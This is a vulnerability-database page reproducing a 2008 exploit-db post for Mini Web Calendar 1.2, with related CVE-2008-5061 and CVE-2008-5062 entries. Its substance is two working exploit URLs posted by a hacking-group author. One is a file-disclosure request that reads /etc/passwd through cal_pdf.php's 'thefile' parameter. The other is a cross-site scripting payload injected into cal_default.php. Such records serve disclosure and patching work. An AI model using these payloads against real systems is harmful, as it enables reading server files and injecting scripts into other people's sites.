Lucene search
AhmadbadyEDB-ID:7049HistoryNov 07, 2008 - 12:00 a.m.
Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting
2008-11-0700:00:00
ahmadbady
www.exploit-db.com
25
AI Score
7.4
Confidence
Low
************************(XSS / FD Vulnerability)**************
script:Mini Web Calendar, ver. 1.2
************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
************************************************************************************************************
......................................................................................
local file xpl:
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd
xss xpl:
http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>
***************************************************
***************************************************
Author: ahmadbady from http://www.deltahacking.net
my mail: [email protected]
***************************************************
# milw0rm.com [2008-11-07]Related
nvd
nvd
CVE-2008-5061
2008-11-13 11:30:01
CVE-2008-5062
2008-11-13 11:30:01
cve
cve
CVE-2008-5061
2008-11-13 11:30:01
CVE-2008-5062
2008-11-13 11:30:01
cvelist
cvelist
CVE-2008-5061
2008-11-13 11:00:00
CVE-2008-5062
2008-11-13 11:00:00
prion
prion
Directory traversal
2008-11-13 11:30:00
Cross site scripting
2008-11-13 11:30:00